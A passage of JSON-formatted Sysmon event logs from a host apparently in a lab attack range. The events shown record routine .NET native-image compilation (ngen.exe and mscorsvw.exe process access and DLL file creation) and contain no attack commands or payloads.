12:02:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:48.120\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E8-5F2D-0000-00102E540E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:48.120","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E8-5F2D-0000-00102E540E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:48.153\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E8-5F2D-0000-00102E540E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:48.153","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E8-5F2D-0000-00102E540E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:54.572\r\nProcessGuid: {90617006-42E8-5F2D-0000-00102E540E00}\r\nProcessId: 3324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cfc-0\\System.Design.dll\r\nCreationUtcTime: 2020-08-07 12:02:54.572","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:54.572","ProcessGuid":"{90617006-42E8-5F2D-0000-00102E540E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cfc-0\\System.Design.dll","CreationUtcTime":"2020-08-07 12:02:54.572","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:54.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DD-5F2D-0000-00105F010E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:54.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DD-5F2D-0000-00105F010E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:54.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DD-5F2D-0000-00105F010E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:54.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DD-5F2D-0000-00105F010E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42EE-5F2D-0000-0010F16A0E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42EE-5F2D-0000-0010F16A0E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.137\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001049F90C00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.137","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001049F90C00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.137\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001049F90C00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.137","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001049F90C00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-0010746E0E00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-0010746E0E00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:55.292\r\nProcessGuid: {90617006-42EF-5F2D-0000-0010746E0E00}\r\nProcessId: 4628\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: 